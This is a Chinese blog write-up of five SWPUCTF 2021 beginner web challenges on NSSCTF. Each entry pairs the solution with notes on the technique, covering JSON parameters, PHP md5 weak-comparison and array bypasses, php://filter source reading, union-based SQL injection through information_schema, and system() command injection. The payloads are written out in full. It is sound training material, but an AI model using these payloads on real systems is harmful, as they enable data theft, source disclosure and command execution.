NSSCTF Web方向的例题和相关知识点(一) [SWPUCTF 2021 新生赛]jicao

[SWPUCTF 2021 新生赛]jicao

解题:

打开环境,是一段php代码

包含了flag.php文件,设定了一个POST请求的id和GET请求的json

语句会对GET请求的数据进行json解码

如果id和json变量的值都等于设定字符串,则得到 flag

我们可以使用各种编程语言(如JavaScript、Python、PHP等)来创建、访问和操作JSON对象

传入

GET json={"x":"wllm"}

POST id= wllmNB

得flag

知识点:

JSON对象是一种存储数据的方式,它使用键值对的形式表示数据

在JSON中,键是一个字符串,值可以是字符串、数字、布尔值、数组、嵌套的JSON对象或null。

JSON对象的语法规则如下:

1.使用花括号 {} 表示一个JSON对象。
2.键和值之间使用冒号 : 分隔。
3.每个键值对之间使用逗号 , 分隔。
4.键必须是一个字符串,需要用双引号或单引号括起来。
5.值可以是字符串、数字、布尔值、数组、嵌套的JSON对象或null。

[SWPUCTF 2021 新生赛]easy_md5

解题:

点击打开环境,是

看代码,这里需要让password != name ,又需要让他们的md5值相等,所以我们需要md5绕过

使用hackbar传入参数

方式一:

传入

GET   ?name=240610708

POST  password=QLTHNDT

然后就能得到flag了

方式二:

我们可以使用[]类型比较的方法,md5数组绕过
由于md5()函数存在缺陷,加密[]的时候返回值是NULL这样子的话就能够成功的绕过

传入

GET  ?name[]=1    

POST   password[]=2 

然后就能得到flag了

知识点:

md5绕过

弱类型比较

由于php中存在==的弱类型比较,所以我们可以通过hash比较的缺陷去绕过
比如:

var_dump("0e12345"=="0e66666");//true
var_dump(md5('240610708')==md5('QNKCDZ0'));//true

只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会现转换字符串的类型,再进行比较,而再比较是因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等,在进行严格比较(===)时才会先判断字符串类型是否相等,再比较。

特殊的md5值有很多,可参考hashes/md5.md at master · spaze/hashes · GitHub

强类型比较

if(md5((string)$_GET['a'])===md5((string)$_GET['b']))
{<!-- -->
   var_dump($flag);
}

此时两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过

var_dump(md5([1,2,3])==md5([4,5,6]));//true

var_dump(md5($_GET['a'])==md5($_GET['b']));
?a[]=1&b[]=1//true

可参考CTF中的md5绕过及其他特殊hash值汇总 | 码农家园

[SWPUCTF 2021 新生赛]include

解题:

点击打开环境,是

让传入一个file,如下

看见allow_url_include 状态为on,想到了php伪协议,用filter读取flag.php里面的信息构造

pload: URL?file=php://filter/read=convert.base64-encode/resource=flag.php

发现一串编码, 猜测是base64加密以后的编码,然后进行解码,解码得flag

知识点:

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

常用的协议参数:

php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php

利用filter协议读文件±,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。

而使用的convert.base64-encode,就是一种过滤器。

可参考PHP伪协议详解-CSDN博客

[SWPUCTF 2021 新生赛]easy_sql

解题:

点击打开环境,是

查看源码,要求我们输入参数wllm

输入wllm=1,回显正常

输入wllm=1',出现报错,可以判断为字符型漏洞

先查看一下字段列数

先分别输入:

?wllm=-1' order by 3--+
?wllm=-1' order by 4--+

 ?wllm=1' order by 4--+报错,所以为3列

查看回显:

?wllm=-1' union select 1,2,3--+

查数据库名:

?wllm=-1' union select 1,2,database()--+

查看test_db库的表:

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

查字段:

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

出现flag字段,查看flag字段的内容,得到flag

?wllm=-1' union select 1,2,group_concat(id,flag) from test_tb--+

知识点:

可参考sql注入详解-CSDN博客

sql注入基础原理(超详细)_sql注入原理图解-CSDN博客

[SWPUCTF 2021 新生赛]easyrce

解题:

点击打开环境,是

首先构造payload,并进行url地址重放:

 ?url=system("ls /");
    #?代表拼接
    #ls /代表列出目录文件,学过Linux系统的大部分都有所了解。
    #代码意思是将外部执行命令ls /的结果赋值给url变量,最后在浏览器中显示结果。
    #注意以;英文分号进行闭合。

猜测flllllaaaaaaggggggg文件中可能包含flag信息

使用cat命令查看flllllaaaaaaggggggg文件中的命令,需注意的是文件在/根目录下:

pload:  ?url=system("cat /flllllaaaaaaggggggg");

得flag

知识点:

php提供4种方法执行系统外部命令:exec()、passthru()、system()、 shell_exec()。

可以参考https://www.cnblogs.com/gaohj/p/3267692.html

 

相关推荐

  1. [SWPUCTF 2021 新生]PseudoProtocols

    2024-05-10 09:44:03       32 阅读
  2. [SWPUCTF 2021 新生]no_wakeup

    2024-05-10 09:44:03       33 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-05-10 09:44:03       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-05-10 09:44:03       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-05-10 09:44:03       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-05-10 09:44:03       18 阅读

热门阅读

  1. go匿名字段

    2024-05-10 09:44:03       10 阅读
  2. k8s集群的常用命令

    2024-05-10 09:44:03       11 阅读
  3. Django框架之Ajax基础

    2024-05-10 09:44:03       7 阅读
  4. 什么是图片的像素与分辨率?

    2024-05-10 09:44:03       8 阅读
  5. 机器学习过拟合解决方案 - 正则化

    2024-05-10 09:44:03       13 阅读
  6. 数据结构及算法——数组和字符串一些记录

    2024-05-10 09:44:03       11 阅读
  7. 分布式本地缓存刷新-日常笔记

    2024-05-10 09:44:03       7 阅读
  8. zookeeper之分布式环境搭建

    2024-05-10 09:44:03       10 阅读
  9. Spring事务失效场景

    2024-05-10 09:44:03       14 阅读
  10. Android OpenMAX(七)OMX Service

    2024-05-10 09:44:03       15 阅读
  11. 【48】Camunda8-Self-Managed部署

    2024-05-10 09:44:03       12 阅读
  12. HTTP调用API框架Forest

    2024-05-10 09:44:03       10 阅读